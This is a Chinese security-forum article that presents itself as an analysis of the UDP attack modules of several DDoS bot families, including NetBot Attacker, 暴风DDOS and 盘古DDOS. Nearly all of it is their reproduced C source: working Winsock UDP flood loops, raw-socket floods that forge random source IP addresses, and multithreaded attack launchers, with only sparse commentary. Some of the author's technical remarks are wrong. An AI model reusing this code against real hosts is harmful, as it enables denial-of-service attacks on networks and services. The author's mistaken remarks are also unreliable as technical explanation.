//=========================================

对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇
文章作者：alalmn—飞龙
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
分析者:alalmn—飞龙       BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵

UDP攻击主要分为2种
1.发送垃圾数据攻击
2.自己构造虚假IP进行攻击

UDP攻击并没有象TCP一样使用并发连接攻击
应为UDP是无连接数限制的
TCP是有连接数限制的

有个很多错的要提下随机生成垃圾数据这点很不错在看TCP的时候就发现这点了

------有奖知识问答------
//
Maxer.h
//判断是否支持RAW    RAW是什么东西 啊 我看它的代码是判断操作系统版本的是否支持的！！！！！知道到底什什么的可以告诉俺一下
//RAW UDP攻击
我看这个的判断条件是判断操作系统版本 这个和操作系统版本有关系吗
版本的区别，WSA开头的函数是2.0的，其他的是1.1的，   
2.0的用winsock2.h   
1.0的用winsock.h   
是选1   否选2     不祥选3   知道正确答案直接回答
//
知道答案的请发我QQ邮箱316118740@qq.com

//=================================================

冷风的.h

/************************UDP ATTACK***********************************/
unsigned long CALLBACK UDP_flood(LPVOID dParam)    //UDP发送垃圾信息攻击
{
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
int nSent;
int nSize = strlen(icmpBuffer); //发送的内容

m_hSocket =socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); //创建socket   IPPROTO_UDP是创建UDP
                  //地址族   socket类型 协议类型
memset(&sockAddr,0,sizeof(sockAddr));   //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族（必须是AF_INET）
sockAddr.sin_port=htons(DdosPort); //存储端口号（使用网络字节顺序）
sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl); //将网络地址转换成IP地址

while(!StopDDosAttack) //是否在攻击状态
{
   nSent =sendto(m_hSocket, icmpBuffer, nSize, 0,        (LPSOCKADDR)&sockAddr, sizeof(sockAddr)); //向一指定目的地发送数据
            //套接口    数据缓冲区 数据长度 调用标志位 目的套接口的地址     所指地址的长度
   if(nSent == SOCKET_ERROR) //是否发送成功
    break;
   Sleep(100); //暂停(毫秒)
}

return 1;
}

//=============================================

Maxer.h

//标准UDP攻击
DWORD WINAPI UdpFlood(LPVOID dParam)
{
PDDOSINFO pddosinfo = (PDDOSINFO)dParam;   //攻击结构体
DDOSINFO ddosinfo; //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存

char senddata[1024];
memset(senddata,'A',1024);//内存空间初始化
int sendsize=strlen(senddata);//计算发送的内容

WSADATA               WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本

SOCKADDR_IN udpaddr;//IP信息结构

udpaddr.sin_family=AF_INET;//sin_family 地址家族（必须是AF_INET）
    udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
    udpaddr.sin_port=htons(ddosinfo.port);//存储端口号（使用网络字节顺序）

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //奇怪这个创建socket   他没有选择UDP协议这算什么UDP攻击啊

//为了减小CPU的利用率，禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端，而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项

while(1) //死循环
{
   if(IsStop==1) //是否在攻击状态
   {
    ExitThread(0);
    return 0;
   }
   for(int a=0;a<12;a++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //向一指定目的地发送数据
   Sleep(20); //暂停(毫秒)
}

}//-----------------------------------------------------------------------
typedef struct _iphdr     //ip头
{ 
unsigned char h_verlen;    //4位首部长度+4位IP版本号 
unsigned char tos;     //8位服务类型TOS 
unsigned short total_len;   //16位总长度（字节） 
unsigned short ident;    //16位标识 
unsigned short frag_and_flags; //3位标志位 
unsigned char ttl;     //8位生存时间TTL 
unsigned char proto;    //8位协议号(TCP, UDP 或其他) 
unsigned short checksum;   //16位IP首部校验和 
unsigned int sourceIP;    //32位源IP地址 
unsigned int destIP;    //32位目的IP地址 
}IP_HEADER;
typedef struct udp_hdr //UDP首部
{
unsigned short sourceport; //本机或伪造的端口
unsigned short destport; //攻击的IP端口
unsigned short udp_length; //UDP地址长度
unsigned short udp_checksum; //UDP首部校验和
} UDP_HEADER;
//判断是否支持RAW    RAW是什么东西 啊 我看它的代码是判断操作系统版本的是否支持的！！！！！知道到底什什么的可以告诉俺一下
//RAW UDP攻击
//版本的区别，WSA开头的函数是2.0的，其他的是1.1的，   
//2.0的用winsock2.h   
//1.0的用winsock.h   
DWORD WINAPI RawUdpFlood(LPVOID dParam)
{
srand((unsigned)time( NULL ));

PDDOSINFO pddosinfo = (PDDOSINFO)dParam;   //攻击结构体
DDOSINFO ddosinfo;   //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存

IP_HEADER ipHeader;
UDP_HEADER udpHeader;
int nBufferSize=1024;
char pSendBuffer[1024]={0};
memset(pSendBuffer,'A',1024);//内存空间初始化
WSADATA               WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本

SOCKADDR_IN udpaddr;//IP信息结构
SOCKET sendSocket;//套接字
udpaddr.sin_family=AF_INET;//sin_family 地址家族（必须是AF_INET）
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存储端口号（使用网络字节顺序）

if((sendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) //创建一个与指定传送服务提供者捆绑的套接口
{ //地址族描述目前仅支持PF_INET格式    新套接口的类型描述 协议   指向结构的指针    套接口组的描述字   套接口属性描述      //INVALID_SOCKET发生错误
   printf("Socket Setup Error...\n"); //Socket安装程序错误
   return 0; 
} 
BOOL               flag=1; 
if(setsockopt(sendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR) //设置套接口的选项 设置发送和接收的超时
{ //套接口的描述字   选项定义的层次 需设置的选项 存放选项值的缓冲区 缓冲区的长度      //SOCKET_ERROR创建错误
   printf("Setsockopt IP_HDRINCL Error...\n");   //Setsockopt IP_HDRINCL错误
   return 0; 
}

int timeout = 3000; 
if(setsockopt(sendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) == SOCKET_ERROR) 
{ 
   printf("Setsockopt SO_SNDTIMEO Error...\n"); //Setsockopt SO_SNDTIMEO错误
   return 0; 
}

char         src_ip[20] = {0};

while(1) //死循环
{
   if(IsStop==1) //是否在攻击状态
   {
    ExitThread(0);
    return 0;
   } 
   for(int a=0;a<24;a++)
   {
    int iTotalSize=sizeof(ipHeader) + sizeof(udpHeader)+ nBufferSize;
    wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );   //格式化数据
    //填充IP首部 
    ipHeader.h_verlen = (4 << 4) | (sizeof(ipHeader) / sizeof(unsigned long));
    ipHeader.tos=0;
    ipHeader.total_len=htons(iTotalSize);
    ipHeader.ident=0;
    ipHeader.frag_and_flags=0;
    ipHeader.ttl=128;
    ipHeader.proto=IPPROTO_UDP;
    ipHeader.checksum=0;
    ipHeader.sourceIP=inet_addr(src_ip);//32位源地址 随机IP
    ipHeader.destIP=resolve(ddosinfo.addr); //伪IP
    //填充UDP首部
    udpHeader.sourceport = htons( rand()%60000 + 1 );
    udpHeader.destport = htons(ddosinfo.port);
    udpHeader.udp_length = htons(sizeof(udpHeader) + nBufferSize);
    udpHeader.udp_checksum = 0;

memcpy(pSendBuffer, &ipHeader, sizeof(ipHeader));//复制数据
    memcpy(pSendBuffer+sizeof(ipHeader), &udpHeader, sizeof(udpHeader));//复制数据
    udpHeader.udp_checksum = checksum( (USHORT *) pSendBuffer, sizeof(udpHeader)+sizeof(ipHeader));
    sendto(sendSocket, pSendBuffer, sizeof(ipHeader) + sizeof(udpHeader) + sizeof(pSendBuffer), 0, (struct sockaddr*)&udpaddr, sizeof(udpaddr)); //向一指定目的地发送数据
    //套接口的描述字   待发送数据的缓冲区   缓冲区中数据的长度   调用方式标志位   指向目的套接口的地址   所指地址的长度
   }
   Sleep(40);
}

}

//===================================================

NetBot_Attacker.h

/************************UDP ATTACK***********************************/
unsigned long CALLBACK UDP_flood(LPVOID dParam)//udp flood UDP发送垃圾数据
{
WSADATA               WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN sockAddr;//IP信息结构
SOCKET m_hSocket;//套接字
int nSent;
int nSize = strlen(icmpBuffer);//计算发送的内容

m_hSocket =socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);//创建socket
memset(&sockAddr,0,sizeof(sockAddr));//内存空间初始化
sockAddr.sin_family = AF_INET;//sin_family 地址家族（必须是AF_INET）
sockAddr.sin_port=htons(fuckweb.FuckPort);//存储端口号（使用网络字节顺序）
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //将网络地址转换成IP地址

while(!stopfuck)
{
   nSent =sendto(m_hSocket, icmpBuffer, nSize, 0, (LPSOCKADDR)&sockAddr, sizeof(sockAddr)); //向一指定目的地发送数据
   if(nSent == SOCKET_ERROR) //是否发送成功
    break;
   Sleep(40); //延时
}

return 1;
}

unsigned long CALLBACK Pjam_attack(LPVOID dParam)//udp 小包裹
{
WSADATA wsadata;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,0), &wsadata);//确定SOCKET版本
SOCKADDR_IN sockAddr;//IP信息结构
SOCKET m_hSocket;//套接字

memset(&sockAddr,0,sizeof(sockAddr));//内存空间初始化
sockAddr.sin_family = AF_INET;//sin_family 地址家族（必须是AF_INET）
sockAddr.sin_port=htons(fuckweb.FuckPort);//存储端口号（使用网络字节顺序）
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //将网络地址转换成IP地址

m_hSocket= socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);//创建socket
connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)); // connect in udp? //连接
  
while(!stopfuck)
{
   send(m_hSocket,"fuckwebfuckwebfuckwebfuckwebfuckwebfuckwebfuckweb",50,0); //发送消息
   Sleep(40); //延时
}
return 1;
}

//===================================

暴风DDOS.h

#define nBufferSize 1024
static char pSendBuffer[nBufferSize+60];
static int iTotalSize=0;

/*===========================================常量=============================================*/
typedef struct _iphdr
{
unsigned char   h_verlen;
unsigned char   tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char   ttl;
unsigned char   proto;
unsigned short checksum;
unsigned int    sourceIP;
unsigned int    destIP;
}IP_HEADER, * PIP_HEADER;

typedef struct udp_hdr //UDP首部
{
unsigned short sourceport; 
unsigned short destport; 
unsigned short udp_length; 
unsigned short udp_checksum; 
} UDP_HEADER;

void udp_flood() 
{
Sleep(2000);    //暂停(毫秒)
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2), &WSAData); //确定SOCKET版本

SOCKET    SendSocket; 
BOOL    Flag;

SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0); //创建一个与指定传送服务提供者捆绑的套接口
if( SendSocket == INVALID_SOCKET )   //INVALID_SOCKET发生错误
   return;

Flag=true;
if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR) //设置套接口的选项
{
   printf("setsockopt Error!\n"); //setsockopt错误！
   return;
}

SOCKADDR_IN addr_in;    //IP信息结构
addr_in.sin_family=AF_INET;    //sin_family 地址家族（必须是AF_INET）
addr_in.sin_port=htons(tgtPort); //存储端口号（使用网络字节顺序）
addr_in.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
if (addr_in.sin_addr.s_addr == INADDR_NONE)
{   //inet_addr将ip地址转换成网络地址 IP地址不正确返回INADDR_NONE
   struct hostent *hp = NULL; //hostent IP信息结构体
   if ((hp = gethostbyname(tgtIP)) != NULL)
   {//gethostbyname主机信息 tgtIPIP地址   != NULL不等于空
   memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length); //复制内存
   addr_in.sin_family = hp->h_addrtype;
   }
   else
    return;
}

for (;;)
{
   if (StopFlag == 1) //是否在攻击状态
   {
    ExitThread(0);
    return;
   }
   sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in)); //向一指定目的地发送数据
   //pSendBuffer 把数据结构体都保存进去了 这样才能实现伪IP攻击
   Sleep(SleepTime);
}
closesocket(SendSocket); //关闭socket
return; 
}

void fill_udp_buffer()
{
WSADATA wsaData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2, 2), &wsaData); //确定SOCKET版本
unsigned int saddr=0;
char hostname[MAX_PATH];
gethostname(hostname,MAX_PATH); //得到主机名
LPHOSTENT lphost; //主机结构信息 
lphost = gethostbyname(hostname);//主机名的主机信息
if (lphost != NULL)
   saddr = ((LPIN_ADDR)lphost->h_addr)->s_addr;

char pBuffer[nBufferSize];

IP_HEADER ipHeader;
UDP_HEADER udpHeader;

int iUdpCheckSumSize;
char *ptr=NULL;
FillMemory(pBuffer, nBufferSize, 'A'); //填充内容做攻击数据使用

iTotalSize=sizeof(ipHeader) + sizeof(udpHeader)+ nBufferSize;

ipHeader.h_verlen = (4 << 4) | (sizeof(ipHeader) / sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(iTotalSize);
ipHeader.ident=0;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_UDP;
ipHeader.checksum=0;
ipHeader.destIP=inet_addr(tgtIP); //伪IP 
//UDP首部
udpHeader.sourceport = htons(5444);//本机或伪造的端口
udpHeader.destport = htons(tgtPort);//攻击的IP端口
udpHeader.udp_length = htons(sizeof(udpHeader) + nBufferSize);//UDP地址长度
udpHeader.udp_checksum = 0;

ptr = NULL;
ipHeader.sourceIP = saddr; //自己模拟的IP

ZeroMemory(pSendBuffer, nBufferSize + 60); //填充内容做攻击数据使用
ptr = pSendBuffer;
iUdpCheckSumSize=0;
udpHeader.udp_checksum = 0;

memcpy(ptr, &ipHeader.sourceIP, sizeof(ipHeader.sourceIP));
ptr += sizeof(ipHeader.sourceIP);
iUdpCheckSumSize += sizeof(ipHeader.sourceIP);

memcpy(ptr, &ipHeader.destIP, sizeof(ipHeader.destIP));    //伪IP
ptr += sizeof(ipHeader.destIP);    //伪IP
iUdpCheckSumSize += sizeof(ipHeader.destIP);   //伪IP //这些代码在这里给数据相加 是用来做什么做攻击内容使用吗

ptr++;
iUdpCheckSumSize++;

memcpy(ptr, &ipHeader.proto, sizeof(ipHeader.proto));
ptr += sizeof(ipHeader.proto);
iUdpCheckSumSize += sizeof(ipHeader.proto);

memcpy(ptr, &udpHeader.udp_length, sizeof(udpHeader.udp_length));
ptr += sizeof(udpHeader.udp_length);
iUdpCheckSumSize += sizeof(udpHeader.udp_length);

memcpy(ptr, &udpHeader, sizeof(udpHeader));
ptr += sizeof(udpHeader);
iUdpCheckSumSize += sizeof(udpHeader); //这些代码在这里给数据相加 是用来做什么做攻击内容使用吗

memcpy(ptr, pBuffer, nBufferSize);
iUdpCheckSumSize += nBufferSize;

udpHeader.udp_checksum=checksum((USHORT*)pSendBuffer,iUdpCheckSumSize);
memcpy(pSendBuffer, &ipHeader, sizeof(ipHeader));
memcpy(pSendBuffer + sizeof(ipHeader), &udpHeader, sizeof(udpHeader));
memcpy(pSendBuffer + sizeof(ipHeader) + sizeof(udpHeader), pBuffer, nBufferSize);    //这些代码在这里给数据相加 是用来做什么做攻击内容使用吗
}
/*--------------------------------------------------------------------------------------*/
void StartUDP(char ip[30],int port,int time,int xc)
{

if (inet_addr(ip)== INADDR_NONE)
   {//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
    struct hostent *hp = NULL; //hostent IP信息结构体
    if ((hp = gethostbyname(ip)) != NULL) //gethostbyname主机信息
    {
     in_addr in; //IP地址转换位一个in_addr结构的地址
     memcpy(&in, hp->h_addr, hp->h_length); //复制内存
     strcpy(tgtIP,inet_ntoa(in)); //复制数据
    }
   }
   else
    strcpy(tgtIP,ip); //复制数据

port=tgtPort;   //端口
   time=timeout;   //时间

if (StopFlag == -1) //这点应该查看是否在攻击状态
    return;

StopFlag=-1;

fill_udp_buffer();    //获取攻击数据

for(i=0;i<xc;i++) //循环创建线程
   {
    h=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)udp_flood, NULL, 0, NULL); //具体攻击
   }
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}

//======================================================

暴风DDOSVIP2010-225.h

//伪造源UDP(流量) 跟 非IP数据包(流量) 一样
/*----------------------------------------------------------------------------------------*///UDP(流量)
void udpattack()//UDP(流量)
{
char senddata[1024];
memset(senddata,'A',1024);   //内存空间初始化 初始化攻击数据
int sendsize=strlen(senddata);//计算字符长度

SOCKADDR_IN udpaddr; //IP信息结构

udpaddr.sin_family=AF_INET; //sin_family 地址家族（必须是AF_INET）
    udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
    udpaddr.sin_port=htons(tgtPort); //存储端口号（使用网络字节顺序）

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket 这样创建的应该不是UDP协议吧汗！！！！！！！

//为了减小CPU的利用率，禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端，而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项

for (;;)
{
   if(StopFlag==1)//这点应该查看是否在攻击状态
   {
    ExitThread(0);
    return;
   }
   for(int a=0;a<12;a++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));//向一指定目的地发送数据
   Sleep(SleepTime);
}
closesocket(s); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用 
}

void StartUDP(char ip[30],int port,int mytime,int xc) //UDP(流量)
{
   if (inet_addr(ip)== INADDR_NONE)
   {//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
    struct hostent *hp = NULL; //hostent IP信息结构体
    if ((hp = gethostbyname(ip)) != NULL)//gethostbyname主机信息 IP IP地址   != NULL不等于空
    {
     in_addr in;
     memcpy(&in, hp->h_addr, hp->h_length); //复制内存
     strcpy(tgtIP,inet_ntoa(in)); //拷贝
    }
   }
   else
    strcpy(tgtIP,ip); //复制数据

tgtPort=port; //端口 
   timeout=mytime; //时间
   StopFlag = -1;     //进入攻击状态
   for(z=0;z<xc;z++)
   {
    h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)udpattack, NULL, 0, NULL);   //具体攻击
   }
   if(timeout!=0)
   {
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
   }
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
void udpsattack() //UDP碎片(流量)
{
char senddata[5]="bfyl";

int sendsize=strlen(senddata);//计算字符长度

SOCKADDR_IN udpaddr; //IP信息结构

udpaddr.sin_family=AF_INET; //sin_family 地址家族（必须是AF_INET）
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
udpaddr.sin_port=htons(tgtPort); //存储端口号（使用网络字节顺序）

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket 这样创建的应该不是UDP协议吧汗！！！

int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项

for (;;)
{
   if(StopFlag==1)//这点应该查看是否在攻击状态
   {
    ExitThread(0);
    return;
   }
   for(int i=0;i<5;i++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));//向一指定目的地发送数据
   Sleep(SleepTime);
}
closesocket(s); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用 
}

void StartUDPS(char ip[30],int port,int mytime,int xc) //UDP碎片(流量)
{

if (inet_addr(ip)== INADDR_NONE)
{//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
   struct hostent *hp = NULL; //hostent IP信息结构体
   if ((hp = gethostbyname(ip)) != NULL)//gethostbyname主机信息 IP IP地址   != NULL不等于空
   {
    in_addr in;
    memcpy(&in, hp->h_addr, hp->h_length); //复制内存
    strcpy(tgtIP,inet_ntoa(in)); //拷贝
   }
}
else
   strcpy(tgtIP,ip);

tgtPort=port;    //端口 
timeout=mytime; //时间 
StopFlag = -1;

for(z=0;z<xc;z++)
{
   h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)udpsattack, NULL, 0, NULL);//具体攻击
}
if(timeout != 0)
{
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);//结束攻击线程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
//变异和伪造的UDP发包
void rawudpattack() //非IP数据包(流量)
{
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2), &WSAData); //确定SOCKET版本

SOCKET    SendSocket;   //套接字
BOOL    Flag;

SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0); //创建一个与指定传送服务提供者捆绑的套接口
if( SendSocket == INVALID_SOCKET )    //INVALID_SOCKET发生错误
   return;

Flag=true;
if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR) //设置套接口的选项    //setsockopt错误
{
   printf("setsockopt Error!\n");
   return;
}

SOCKADDR_IN addr_in; //IP信息结构
addr_in.sin_family=AF_INET; //sin_family 地址家族（必须是AF_INET）
addr_in.sin_port=htons(tgtPort); //存储端口号（使用网络字节顺序）
addr_in.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
if (addr_in.sin_addr.s_addr == INADDR_NONE)
{   
   struct hostent *hp = NULL;
   if ((hp = gethostbyname(tgtIP)) != NULL)
   {//gethostbyname主机信息 tgtIPIP地址   != NULL不等于空
    memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length); //复制内存
    addr_in.sin_family = hp->h_addrtype;
   }
   else
    return;
}

for (;;)
{
   if (StopFlag == 1) //攻击状态
   {
    ExitThread(0);
    return;
   }
   for(int i=0;i<12;i++)
    sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in));//向一指定目的地发送数据
   Sleep(SleepTime);
}
closesocket(SendSocket); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用 
return; 
}

void StartBYUDP(char ip[30],int port,int mytime,int xc) //非IP数据包(流量)
{

if (inet_addr(ip)== INADDR_NONE)
{
   struct hostent *hp = NULL; //hostent IP信息结构体
   if ((hp = gethostbyname(ip)) != NULL)
   {//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
    in_addr in;
    memcpy(&in, hp->h_addr, hp->h_length); //复制内存
    strcpy(tgtIP,inet_ntoa(in)); //拷贝
   }
}
else
   strcpy(tgtIP,ip); //拷贝

tgtPort=port; //端口 
timeout=mytime; //时间
StopFlag = -1;
fill_BY_buffer();    //获取攻击数据和 暴风DDOS.h 文件是一样的

for(z=0;z<xc;z++)
{
   h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)rawudpattack, NULL, 0, NULL);   //具体攻击
}
if(mytime!=0)
{
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
}

/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
void sjudpattack() //随机数据UDP(流量)
{
int i;

srand((unsigned)time( NULL ));

i=rand()%512;   //产生个随机数

char senddata[MAX_PATH];

memset(senddata,i,MAX_PATH); //内存空间初始化
int sendsize=1024;

SOCKADDR_IN udpaddr; //IP信息结构

udpaddr.sin_family=AF_INET;   //指代协议族，在socket编程中只能是AF_INET
udpaddr.sin_addr.s_addr=inet_addr(tgtIP);   //IP地址
udpaddr.sin_port=htons(tgtPort);   //存储端口号（使用网络字节顺序）

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket

int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero));    //设置套接口的选项

for (;;)
{
   if(StopFlag==1)//这点应该查看是否在攻击状态
   {
    ExitThread(0);
    return;
   }
   for(int a=0;a<12;a++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));//向一指定目的地发送数据
   Sleep(SleepTime);
}
closesocket(s); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用
}

void StartSJUDP(char ip[30],int port,int mytime,int xc) //随机数据UDP(流量)
{

if (inet_addr(ip)== INADDR_NONE)
{//inet_addr将ip地址转换成网络地址   INADDR_NONE非法地址
   struct hostent *hp = NULL; //hostent IP信息结构体
   if ((hp = gethostbyname(ip)) != NULL) //gethostbyname主机信息 IP IP地址   != NULL不等于空
   {
    in_addr in;
    memcpy(&in, hp->h_addr, hp->h_length); //复制内存
    strcpy(tgtIP,inet_ntoa(in)); //拷贝
   }
}
else
   strcpy(tgtIP,ip); //拷贝

tgtPort=port; //端口 
timeout=mytime; //时间
StopFlag = -1;

for(z=0;z<xc;z++)
{
   h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)sjudpattack, NULL, 0, NULL);   //具体攻击
}
if(timeout!=0)
{
   CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/

//==================================================

盘古1.5代码.h

///UDP攻击
#define nBufferSize 1024
static char pSendBuffer[nBufferSize+60];
static int iTotalSize=0;

void udp_flood() //UDP攻击
{
Sleep(2000);
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2), &WSAData);

SOCKET    SendSocket; 
BOOL    Flag;

SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0); //创建一个与指定传送服务提供者捆绑的套接口
if( SendSocket == INVALID_SOCKET ) 
   return;

Flag=true;
if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR)    //设置套接口的选项
{
   printf("setsockopt Error!\n");
   return;
}

SOCKADDR_IN addr_in; //IP信息结构
addr_in.sin_family=AF_INET;
       //sin_family 地址家族（必须是AF_INET）
addr_in.sin_port=htons(tgtPort);
addr_in.sin_addr.s_addr=inet_addr(tgtIP);
                       //inet_addr将ip地址转换成网络地址
if (addr_in.sin_addr.s_addr == INADDR_NONE)
                           //IP地址不正确返回INADDR_NONE
{   
   struct hostent *hp = NULL; //hostent域名转换成IP
   if ((hp = gethostbyname(tgtIP)) != NULL)
       //gethostbyname主机信息 tgtIPIP地址   != NULL不等于空
   {
   memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length);
                                         //hp->h_length表示的是主机ip地址的长度
   addr_in.sin_family = hp->h_addrtype;
                      //hp->h_addrtype主机ip地址的类型是ipv4(AF_INET)还是ipv6(AF_INET6)
   }
   else
    return;
}

for (;;)
{
   if (StopFlag == 1) //StopFlag= 1; 表示没有在攻击
   {
    ExitThread(0);
    return;
   }
   for(int i=0;i<10000;i++)
    sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in)); //向一指定目的地发送数据
   Sleep(SleepTime);
}
closesocket(SendSocket); //关闭SOCKET
return; 
}

//=======================================================

盘古DDOS优化版源码.h

///UDP
void udpflood()
{
WSAData wsadata;
WSAStartup(MAKEWORD(2,2),&wsadata);

char senddata[128];
memset(senddata,'D',sizeof(senddata)); //初始化攻击内容
int sendsize=strlen(senddata); //计算攻击内容

SOCKADDR_IN udpaddr;

udpaddr.sin_family=AF_INET;//sin_family 地址家族（必须是AF_INET）
    udpaddr.sin_addr.s_addr=inet_addr(tgtip);//inet_addr将ip地址转换成网络地址
    udpaddr.sin_port=htons(tgtport); //端口

SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //这样做创建的就不是UDP协议了啊

for (;;)
{
   if(Stop==1)
   {
    ExitThread(0);
    return;
   }
   for(int a=0;a<10000;a++)
    sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //向一指定目的地发送数据
   Sleep(20);
}
closesocket(s); //关闭SOCKET
WSACleanup(); //中止Windows Sockets DLL的使用 
}

//============================================================

对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇相关推荐

1. 对现有的所能找到个DDOS代码(攻击模块)做出一次分析----TCP篇

